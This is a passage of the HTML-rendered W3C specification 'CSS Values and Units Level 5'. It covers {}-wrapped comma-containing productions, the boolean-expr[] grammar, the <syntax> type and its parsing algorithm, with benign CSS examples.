Terms defined by this specification</a> <li><a href="#index-defined-elsewhere"> Terms defined by reference</a> </ol> <li> <a href="#references"> References</a> <ol class="toc"> <li><a href="#normative"> Normative References</a> <li><a href="#informative"> Informative References</a> </ol> <li><a href="#property-index"> Property Index</a> <li><a href="#issues-index"> Issues Index</a> </ol> </nav> <main> <h2 class="heading settled" data-level="1" id="intro">1. Introduction<a class="self-link" href="#intro"></a></h2> <a class="self-link" href="#issue-39df5f37"></a> This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>. <h3 class="heading settled" data-level="1.1" id="placement">1.1. Module Interactions<a class="self-link" href="#placement"></a></h3> This module extends <a data-link-type="biblio" href="#biblio-css-values-4" title="CSS Values and Units Module Level 4">[CSS-VALUES-4]</a> which replaces and extends the data type definitions in <a data-link-type="biblio" href="#biblio-css21" title="Cascading Style Sheets Level 2 Revision 1 (CSS 2.1) Specification">[CSS21]</a> sections <a href="https://www.w3.org/TR/CSS21/about.html#value-defs">1.4.2.1</a>, <a href="https://www.w3.org/TR/CSS21/syndata.html#values">4.3</a>, and <a href="https://www.w3.org/TR/CSS21/aural.html#aural-intro">A.2</a>. <h2 class="heading settled" data-level="2" id="textual-values">2. Textual Data Types<a class="self-link" href="#textual-values"></a></h2> See <a href="https://www.w3.org/TR/css-values-4/#textual-values"><cite>CSS Values 4</cite> § 4 Textual Data Types</a>. <h2 class="heading settled" data-level="3" id="value-defs">3. Value Definition Syntax<a class="self-link" href="#value-defs"></a></h2> See <a href="https://www.w3.org/TR/css-values-4/#value-defs"><cite>CSS Values 4</cite> § 2 Value Definition Syntax</a>. Additionally, <ol> <li value="5">Boolean combinations of a conditional notation. These are written using the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr"><boolean-expr[]></a> notation, and represent recursive expressions of boolean logic using keywords and parentheses, applied to the grammar specified in brackets, e.g. <a class="production css" data-link-type="type" href="#typedef-boolean-expr" id="ref-for-typedef-boolean-expr①"><boolean-expr[ ( &lt;media-feature&gt; ) ]></a> to express <a data-link-type="dfn" href="https://www.w3.org/TR/mediaqueries-5/#media-query" id="ref-for-media-query">media queries</a>. </ol> <h3 class="heading settled" data-level="3.1" id="component-functions">3.1. Functional Notation Definitions<a class="self-link" href="#component-functions"></a></h3> See <a href="https://www.w3.org/TR/css-values-4/#component-functions"><cite>CSS Values 4</cite> § 2.6 Functional Notation Definitions</a>. <h4 class="heading settled" data-level="3.1.1" id="component-function-commas">3.1.1. Commas in Function Arguments<a class="self-link" href="#component-function-commas"></a></h4> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation">Functional notation</a> often uses commas to separate parts of its internal grammar. However, some functions (such as <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix">mix()</a>) allow values that, themselves, can contain commas. These values (currently <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value"><whole-value></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value"><declaration-value></a>, and <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-any-value" id="ref-for-typedef-any-value"><any-value></a>) are <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="comma-containing-productions">comma-containing productions</dfn>. To accommodate these sorts of grammars unambiguously, the <a data-link-type="dfn" href="#comma-containing-productions" id="ref-for-comma-containing-productions">comma-containing productions</a> can be optionally wrapped in curly braces {}. These braces are syntactic, not part of the actual value. Specifically: <ul> <li data-md> A <a data-link-type="dfn" href="#comma-containing-productions" id="ref-for-comma-containing-productions①">comma-containing production</a> can either start with a "{" token, or not. <li data-md> If it does not start with a "{" token, then it cannot contain commas or {} blocks, in addition to whatever specific restrictions it defines for itself. (The production stops parsing at that point, so the comma or {} block is matched by the next grammar term instead; probably the function’s own argument-separating comma.) <li data-md> If it does start with a "{" token, then the production matches just the {} block that the "{" token opens. It represents the contents of that block, and applies whatever specific restrictions it defines for itself to those contents, ignoring the {} block wrapper. </ul> <div class="example" id="example-3c1508a5"> <a class="self-link" href="#example-3c1508a5"></a> For example, the grammar of the <a class="css" data-link-type="maybe" href="#funcdef-random-item" id="ref-for-funcdef-random-item">random-item()</a> function is: <pre class="highlight"><c- nf>random-item</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-random-caching-options" id="ref-for-typedef-random-caching-options"><random-caching-options></a><c- p>,</c-> <c- p>[</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value①"><declaration-value></a>?<c- p>]</c-># <c- p>)</c-> </pre> The # indicates comma-separated repetitions, so randomly choosing between three keywords would be written as normal for functions, like: <pre class="highlight"><c- k>font-family</c-><c- p>:</c-> <c- nf>random-item</c-><c- p>(</c->--x<c- p>,</c-> serif<c- p>,</c-> sans-serif<c- p>,</c-> monospace<c- p>);</c-> </pre> However, sometimes the values you want to choose between need to include commas. When this is the case, wrapping the values in {} allows their commas to be distinguished from the function’s argument-separating commas: <pre class="highlight"><c- k>font-family</c-><c- p>:</c-> <c- nf>random-item</c-><c- p>(</c->--x<c- p>,</c-> <c- p>{</c->Times<c- p>,</c-> serif<c- p>},</c-> <c- p>{</c->Arial<c- p>,</c-> sans-serif<c- p>},</c-> <c- p>{</c->Courier<c- p>,</c-> monospace<c- p>});</c-> </pre> This randomly chooses one of three font-family lists: either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing; you can use {} around some arguments that need it, while leaving others bare when they don’t need it. You are also allowed to use {} around a value when it’s not strictly required. For example: <pre class="highlight"><c- k>font-family</c-><c- p>:</c-> <c- nf>random-item</c-><c- p>(</c->--x<c- p>,</c-> <c- p>{</c->Times<c- p>,</c-> serif<c- p>},</c-> sans-serif<c- p>,</c-> <c- p>{</c->monospace<c- p>});</c-> </pre> This represents choosing between three font-family lists: either Times, serif, or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-fonts-4/#valdef-font-family-sans-serif" id="ref-for-valdef-font-family-sans-serif">sans-serif</a>, or <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-fonts-4/#valdef-font-family-monospace" id="ref-for-valdef-font-family-monospace">monospace</a>. However, this {}-wrapping is only allowed for some function arguments—those defined as <a data-link-type="dfn" href="#comma-containing-productions" id="ref-for-comma-containing-productions②">comma-containing productions</a>. It’s not valid for any other productions; if you use {} around other function arguments, it’ll just fail to match the function’s grammar and become invalid. For example, the following is invalid: <pre class="highlight"><c- k>background-image</c-><c- p>:</c-> <c- nf>linear-gradient</c-><c- p>(</c->to left<c- p>,</c-> <c- p>{</c->red<c- p>},</c-> magenta<c- p>);</c-> </pre> </div> Note: Because {} wrappers are allowed even when not explicitly required, they can be used defensively around values when the author isn’t sure if they’ll end up containing commas or not, due to <a data-link-type="dfn" href="#arbitrary-substitution-function" id="ref-for-arbitrary-substitution-function">arbitrary substitution functions</a> like <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var">var()</a>. For example, <a class="css" data-link-type="property" href="https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family" id="ref-for-propdef-font-family">font-family: random-item(--x, {var(--list1)}, monospace)</a> will work correctly regardless of whether the --list1 custom property contains a comma-separated list or not. <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation①">Functional notations</a> are serialized without {} wrappers whenever possible. The following generic productions are <a data-link-type="dfn" href="#comma-containing-productions" id="ref-for-comma-containing-productions③">comma-containing productions</a>: <ul> <li data-md> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-any-value" id="ref-for-typedef-any-value①"><any-value></a> <li data-md> <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①"><whole-value></a> <li data-md> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value②"><declaration-value></a> </ul> For legacy compat reasons, the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value③"><declaration-value></a> defined the fallback value for <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-variables-1/#funcdef-var" id="ref-for-funcdef-var①">var()</a> is a <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="non-strict-comma-containing-production">non-strict comma-containing production</dfn>. It ignores the rules restricting what it can contain when it does not start with a "{" token: it is allowed to contain commas and {} blocks. It still follows the standard <a data-link-type="dfn" href="#comma-containing-productions" id="ref-for-comma-containing-productions④">comma-containing production</a> rules when it does start with a "{" token, however: the fallback is just the contents of the {} block, and doesn’t include the {} wrapper itself. Other contexts may define that they use <a data-link-type="dfn" href="#non-strict-comma-containing-production" id="ref-for-non-strict-comma-containing-production">non-strict comma-containing productions</a>, but it should be avoided unless necessary. <h3 class="heading settled" data-level="3.2" id="boolean">3.2. Boolean Expression Multiplier <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr②"><boolean-expr[]></a><a class="self-link" href="#boolean"></a></h3> Several contexts (such as <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-media" id="ref-for-at-ruledef-media">@media</a>, <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-3/#at-ruledef-supports" id="ref-for-at-ruledef-supports">@supports</a>, <a class="css" data-link-type="maybe" href="#funcdef-if" id="ref-for-funcdef-if">if()</a>, ...) specify conditions, and allow combining those conditions with boolean logic (and/or/not/grouping). Because they use the same non-trivial recursive syntax structure, the special <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-boolean-expr"><a class="production css" data-link-type="type" href="#typedef-boolean-expr" id="ref-for-typedef-boolean-expr③"><boolean-expr></a></dfn> production represents this pattern generically. The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr④"><boolean-expr[]></a> notation wraps another value type in the square brackets within it, e.g. <boolean[ <test> ]>, and represents that value type alone as well as boolean combinations using the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/mediaqueries-5/#valdef-media-not" id="ref-for-valdef-media-not">not</a>, and, and or keywords and grouping parenthesis. It is formally equivalent to: <pre class="prod highlight"><boolean-expr<c- p>[</c-> <test> <c- p>]</c->> = not <boolean-expr-group> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one">|</a> <boolean-expr-group> <c- p>[</c-> <c- p>[</c-> and <boolean-expr-group> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-zero-plus" id="ref-for-mult-zero-plus">*</a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①">|</a> <c- p>[</c-> or <boolean-expr-group> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-zero-plus" id="ref-for-mult-zero-plus①">*</a> <c- p>]</c-> <boolean-expr-group> = <test> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②">|</a> <c- p>(</c-> <boolean-expr<c- p>[</c-> <test> <c- p>]</c->> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one③">|</a> <general-enclosed> </pre> The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr⑤"><boolean-expr[]></a> production represents a true, false, or unknown value. Its value is resolved using 3-value Kleene logic, with top-level unknown values (those not directly nested inside the grammar of another <boolean-expr[]>) resolving to false unless otherwise specified; see <a href="#boolean-logic">Appendix B: Boolean Logic</a> for details. <div class="example" id="example-431f6d8a"> <a class="self-link" href="#example-431f6d8a"></a> For example, the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-conditional-5/#at-ruledef-container" id="ref-for-at-ruledef-container">@container</a> rule allows a wide variety of tests: including size queries, style queries, and scroll-state queries. All of these are arbitrarily combinable with boolean logic. Using <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr⑦"><boolean-expr[]></a>, the grammar for an @container query could be written as: <pre class="prod highlight"><container-query> = <boolean-expr<c- p>[</c-> <cq-test> <c- p>]</c->> <cq-test> = <c- p>(</c-><size-query><c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one④">|</a> <c- nf>style</c-><c- p>(</c-> <style-query> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑤">|</a> <c- nf>scroll-state</c-><c- p>(</c-> <scroll-state-query> <c- p>)</c-> <size-query> = <boolean-expr<c- p>[</c-> <c- p>(</c-> <size-feature> <c- p>)</c-> <c- p>]</c->> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑥">|</a> <size-feature> <style-query> = <boolean-expr<c- p>[</c-> <c- p>(</c-> <style-feature> <c- p>)</c-> <c- p>]</c->> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑦">|</a> <style-feature> <scroll-state-query> = <boolean-expr<c- p>[</c-> <c- p>(</c-> <scroll-state-feature> <c- p>)</c-> <c- p>]</c->> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑧">|</a> <scroll-state-feature> </pre> </div> The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/mediaqueries-5/#typedef-general-enclosed" id="ref-for-typedef-general-enclosed"><general-enclosed></a> branch of the logic allows for future compatibility—unless otherwise specified new expressions in an older UA will be parsed and considered “unknown”, rather than invalidating the production. For consistency with that allowance, the <test> term in a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-5/#typedef-boolean-expr" id="ref-for-typedef-boolean-expr⑧"><boolean-expr[]></a> should be defined to match <general-enclosed>. <h3 class="heading settled" data-level="3.3" id="css-syntax">3.3. Specifying CSS Syntax in CSS: the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax"><syntax></a> type<a class="self-link" href="#css-syntax"></a></h3> Some features in CSS, such as the <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr">attr()</a> function or <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property">registered custom properties</a>, allow you to specify how another value is meant to be parsed. This is declared via the <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①"><syntax></a> production, which resembles a limited form of the CSS <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-value-definition-syntax" id="ref-for-css-value-definition-syntax">value definition syntax</a> used in specifications to define CSS features, and which represents a <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#syntax-definition" id="ref-for-syntax-definition">syntax definition</a>: <pre class="def prod"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax"><a class="production" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax②"><syntax></a></dfn> = '*' <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨">|</a> <a class="production" data-link-type="type" href="#typedef-syntax-component" id="ref-for-typedef-syntax-component"><syntax-component></a> [ <a class="production" data-link-type="type" href="#typedef-syntax-combinator" id="ref-for-typedef-syntax-combinator"><syntax-combinator></a> <a class="production" data-link-type="type" href="#typedef-syntax-component" id="ref-for-typedef-syntax-component①"><syntax-component></a> ]<a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-zero-plus" id="ref-for-mult-zero-plus②">*</a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⓪">|</a> <a class="production" data-link-type="type" href="#typedef-syntax-string" id="ref-for-typedef-syntax-string"><syntax-string></a> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-component"><a class="production" data-link-type="type" href="#typedef-syntax-component" id="ref-for-typedef-syntax-component②"><syntax-component></a></dfn> = <a class="production" data-link-type="type" href="#typedef-syntax-single-component" id="ref-for-typedef-syntax-single-component"><syntax-single-component></a> <a class="production" data-link-type="type" href="#typedef-syntax-multiplier" id="ref-for-typedef-syntax-multiplier"><syntax-multiplier></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt">?</a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①①">|</a> '<' transform-list '>' <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-single-component"><a class="production" data-link-type="type" href="#typedef-syntax-single-component" id="ref-for-typedef-syntax-single-component①"><syntax-single-component></a></dfn> = '<' <a class="production" data-link-type="type" href="#typedef-syntax-type-name" id="ref-for-typedef-syntax-type-name"><syntax-type-name></a> '>' <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①②">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-ident" id="ref-for-typedef-ident"><ident></a> <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-type-name"><a class="production" data-link-type="type" href="#typedef-syntax-type-name" id="ref-for-typedef-syntax-type-name①"><syntax-type-name></a></dfn> = angle <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①③">|</a> color <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①④">|</a> custom-ident <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⑤">|</a> image <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⑥">|</a> integer <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⑦">|</a> length <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⑧">|</a> length-percentage <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one①⑨">|</a> number <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⓪">|</a> percentage <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②①">|</a> resolution <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②②">|</a> string <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②③">|</a> time <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②④">|</a> url <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⑤">|</a> transform-function <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-combinator"><a class="production" data-link-type="type" href="#typedef-syntax-combinator" id="ref-for-typedef-syntax-combinator①"><syntax-combinator></a></dfn> = '|' <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-multiplier"><a class="production" data-link-type="type" href="#typedef-syntax-multiplier" id="ref-for-typedef-syntax-multiplier①"><syntax-multiplier></a></dfn> = [ '#' <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one②⑥">|</a> '+' ] <dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-syntax-string"><a class="production" data-link-type="type" href="#typedef-syntax-string" id="ref-for-typedef-syntax-string①"><syntax-string></a></dfn> = <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value"><string></a> </pre> A <a class="production css" data-link-type="type" href="#typedef-syntax-component" id="ref-for-typedef-syntax-component③"><syntax-component></a> consists of either a <a class="production css" data-link-type="type" href="#typedef-syntax-type-name" id="ref-for-typedef-syntax-type-name②"><syntax-type-name></a> between <> (angle brackets), which maps to one of the <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#css-supported-syntax-component-name" id="ref-for-css-supported-syntax-component-name">supported syntax component names</a>, or an <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-ident" id="ref-for-typedef-ident①"><ident></a>, which represents any <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-keyword" id="ref-for-css-keyword">keyword</a>. Additionally, a <syntax-component> may contain a <a href="https://www.w3.org/TR/css-properties-values-api-1/#multipliers">multiplier</a>, which indicates a <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#list" id="ref-for-list">list</a> of values. Note: This means that <code class="highlight"><length></code> and <code class="highlight">length</code> are two different types: the former describes a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value"><length></a>, whereas the latter describes a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-keyword" id="ref-for-css-keyword①">keyword</a> <code class="highlight">length</code>. Multiple <a class="production css" data-link-type="type" href="#typedef-syntax-component" id="ref-for-typedef-syntax-component⑤"><syntax-component></a>s may be <a href="https://www.w3.org/TR/css-properties-values-api-1/#combinator">combined</a> with a <code class="highlight">|</code> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-delim-token" id="ref-for-typedef-delim-token"><delim-token></a>, causing the syntax components to be matched against a value in the specified order. <div class="example" id="example-2dceeea6"> <a class="self-link" href="#example-2dceeea6"></a> <pre class="lang-css highlight"><percentage> | <number> | auto </pre> The above, when parsed as a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax③"><syntax></a>, would accept <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value"><percentage></a> values, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value"><number></a> values, as well as the keyword <code class="highlight">auto</code>. </div> <div class="example" id="example-a723371b"> <a class="self-link" href="#example-a723371b"></a> <pre class="lang-css highlight">red | <color> </pre> The <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#syntax-definition" id="ref-for-syntax-definition①">syntax definition</a> resulting from the above <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax④"><syntax></a>, when used as a grammar for <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar" id="ref-for-css-parse-something-according-to-a-css-grammar">parsing</a>, would match an input <code class="highlight">red</code> as an <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-css-identifier" id="ref-for-css-css-identifier">identifier</a>, but would match an input <code class="highlight">blue</code> as a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color"><color></a>. </div> The <code class="highlight">*</code> <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-delim-token" id="ref-for-typedef-delim-token①"><delim-token></a> represents the <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#universal-syntax-definition" id="ref-for-universal-syntax-definition">universal syntax definition</a>. The <code class="highlight"><transform-list></code> production is a convenience form equivalent to <code class="highlight"><transform-function>+</code>. Note that <code class="highlight"><transform-list></code> may not be followed by a <a class="production css" data-link-type="type" href="#typedef-syntax-multiplier" id="ref-for-typedef-syntax-multiplier②"><syntax-multiplier></a>. <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#whitespace" id="ref-for-whitespace">Whitespace</a> is not allowed between the angle bracket <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-delim-token" id="ref-for-typedef-delim-token②"><delim-token></a>s (<code class="highlight"><</code> <code class="highlight">></code>) and the <a class="production css" data-link-type="type" href="#typedef-syntax-type-name" id="ref-for-typedef-syntax-type-name③"><syntax-type-name></a> they enclose, nor is whitespace allowed to precede a <a class="production css" data-link-type="type" href="#typedef-syntax-multiplier" id="ref-for-typedef-syntax-multiplier③"><syntax-multiplier></a>. Note: The <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#whitespace" id="ref-for-whitespace②">whitespace</a> restrictions also apply to <code class="highlight"><transform-list></code>. A <a class="production css" data-link-type="type" href="#typedef-syntax-string" id="ref-for-typedef-syntax-string②"><syntax-string></a> is a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value①"><string></a> whose value successfully <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar" id="ref-for-css-parse-something-according-to-a-css-grammar①">parses</a> as a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax⑤"><syntax></a>, and represents the same value as that <syntax> would. Note: <a class="production css" data-link-type="type" href="#typedef-syntax-string" id="ref-for-typedef-syntax-string③"><syntax-string></a> mostly exists for historical purposes; before <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax⑦"><syntax></a> was defined, the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-properties-values-api-1/#at-ruledef-property" id="ref-for-at-ruledef-property">@property</a> rule used a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#string-value" id="ref-for-string-value②"><string></a> for this purpose. <h4 class="heading settled" data-level="3.3.1" id="parse-syntax">3.3.1. Parsing as <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax⑧"><syntax></a><a class="self-link" href="#parse-syntax"></a></h4> The purpose of a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax⑨"><syntax></a> is usually to specify how to parse another value (such as the value of a <a data-link-type="dfn" href="https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property" id="ref-for-registered-custom-property①">registered custom property</a>, or an attribute value in <a class="css" data-link-type="maybe" href="#funcdef-attr" id="ref-for-funcdef-attr①">attr()</a>). However, the generic <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar" id="ref-for-css-parse-something-according-to-a-css-grammar②">parse something according to a CSS grammar</a> algorithm returns an unspecified internal structure, since parse results might be ambiguous and need further massaging. To avoid these issues and get a well-defined result, use <a data-link-type="dfn" href="#parse-with-a-syntax" id="ref-for-parse-with-a-syntax">parse with a <syntax></syntax></a>: <div class="algorithm" data-algorithm="parse with a <syntax>"> To <dfn class="dfn-paneled" data-dfn-type="dfn" data-export id="parse-with-a-syntax">parse with a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①⓪"><syntax></a></dfn> given a <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#string" id="ref-for-string">string</a> or <a data-link-type="dfn" href="https://infra.spec.whatwg.org/#list" id="ref-for-list①">list</a> or <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#component-value" id="ref-for-component-value">component values</a> <var>values</var>, a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①①"><syntax></a> value <var>syntax</var>, and optionally an element <var>el</var> for context, perform the following steps. It returns either CSS values, or the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value">guaranteed-invalid value</a>. <ol> <li data-md> <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#parse-a-list-of-component-values" id="ref-for-parse-a-list-of-component-values">Parse a list of component values</a> from <var>values</var>, and let <var>raw parse</var> be the result. <li data-md> If <var>el</var> was given, <a data-link-type="dfn" href="#substitute-arbitrary-substitution-function" id="ref-for-substitute-arbitrary-substitution-function">substitute arbitrary substitution functions</a> in <var>raw parse</var>, and set <var>raw parse</var> to that result. <li data-md> <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#css-parse-something-according-to-a-css-grammar" id="ref-for-css-parse-something-according-to-a-css-grammar③">parse</a> <var>values</var> according to <var>syntax</var>, with a <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/selectors-3/#x" id="ref-for-x">*</a> value treated as <code class="highlight"><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value" id="ref-for-typedef-declaration-value④"><declaration-value></a>?</code>, and let <var>parsed result</var> be the result. If <var>syntax</var> used a | combinator, let <var>parsed result</var> be the parse result from the first matching clause. <li data-md> If <var>parsed result</var> is failure, return the <a data-link-type="dfn" href="https://www.w3.org/TR/css-variables-1/#guaranteed-invalid-value" id="ref-for-guaranteed-invalid-value①">guaranteed-invalid value</a>. <li data-md> Assert: <var>parsed result</var> is now a well-defined list of one or more CSS values, since each branch of a <a class="production css" data-link-type="type" href="#typedef-syntax" id="ref-for-typedef-syntax①②"><syntax></a> defines an unambiguous parse result (or the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/selectors-3/#x" id="ref-for-x①">*</a> syntax is unambiguous on its own). <li data-md> Return <var>parsed result</var>. </ol> </div> Note: This algorithm does not resolved the parsed values into <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value">computed values</a>; the context in which the value is used will usually do that already, but if not, the invoking algorithm will need to handle that on its own. <h2 class="heading settled" data-level="4" id="level-4-extensions">4. Extensions to Level 4 Value Types<a class="self-link" 